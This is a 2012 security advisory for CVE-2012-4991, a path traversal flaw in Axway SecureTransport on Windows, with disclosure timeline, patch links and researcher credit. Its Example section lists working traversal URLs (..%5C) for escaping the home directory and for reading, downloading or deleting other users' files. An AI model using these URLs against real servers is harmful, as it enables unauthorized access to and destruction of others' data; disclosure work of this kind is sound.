Axway Directory Traversal

2012-12-11T00:00:00
ID PACKETSTORM:118766
Type packetstorm
Reporter Sebastian Perez
Modified 2012-12-11T00:00:00

Description

                                        
                                            `Secure Transport Path Traversal Vulnerability  
  
Public Disclosure Date:  
November 11, 2012  
  
Vendors Affected:  
Axway  
http://www.axway.com  
  
Systems Affected:  
Secure Transport  
  
Problem:  
A path traversal vulnerability was identified in SecureTransport versions 5.1 SP2 and earlier on the Microsoft Windows platform that could allow tampering and information disclosure. This vulnerability allows remote attackers to access other user's directories, and also to read, download, delete and upload arbitrary files. This can be performed using a encoded backslash characters (%5c) in the path.  
  
Example:  
To escape the lock home directory, use the following url  
https://<<IP>>/..%5C  
To get access to another user's home directory, use the following url  
https://<<IP>>/..%5C<<Username>>  
To read another user's file in his/her home directory, use the following url  
https://<<IP>>/..%5C<<Username>>/file.txt?P  
To download another user's file in his/her home directory, use the following url  
https://<<IP>>/..%5C<<Username>>/file.txt?B  
To delete another user's file in his/her home directory, use the following url  
https://<<IP>>/..%5C<<Username>>/file.txt?D  
To upload a file in other user's home directory just use the upload function  
  
Vendor Status: Contacted on September 12, 2012  
  
Informed: Contacted back on September 12, 2012  
  
Contacted: Customer confirmed the vulnerability, and that this was solved on October 30, 2012  
  
Patch Available:  
For 4.9.2 sp2:  
https://support.axway.com/en/downloads/download-details/id/35283  
For 5.1 sp2:  
https://support.axway.com/en/downloads/download-details/id/35957  
  
CVE: CVE-2012-4991  
  
CVSSv2 Score: 8.5  
  
CVSSv2 Access Vector: (AV:N/AC:L/Au:S/C:C/I:C/A:N)  
  
Impact Type: Allows unauthorized disclosure and modification of information  
  
Status: Fixed  
  
Acknowledgment: Axway would like to acknowledge Sebastian Perez (@Seba_DTT), of Deloitte Argentina (www.deloitte.com/ar) and Deloitte Canada (www.deloitte.ca) for helping to identify this issue.  
  
Related Links:  
Deloitte Argentina  
www.deloitte.com/ar  
  
Vendor Product:  
http://www.axway.com/products-solutions/mft/gateways/securetransport  
  
Axway Support  
For further information, or assistance with this Patch, contact Axway Global Support.  
Online - https://support.axway.com  
Email - support@axway.com  
  
  
  
Sebastian Perez, C|EH  
Senior Consultant | Information Security Specialist  
Security, Privacy & Resilience Services - Enterprise Risk Services  
Deloitte & Co. S.A.  
Pte. Gral.J.D.Perón 646, 7piso- C1038AAN Buenos Aires Argentina  
Main: +54 11 4320 2700 ext. 8350 | Fax: +54 11 4320 4071  
seperez@deloitte.com | www.deloitte.com  
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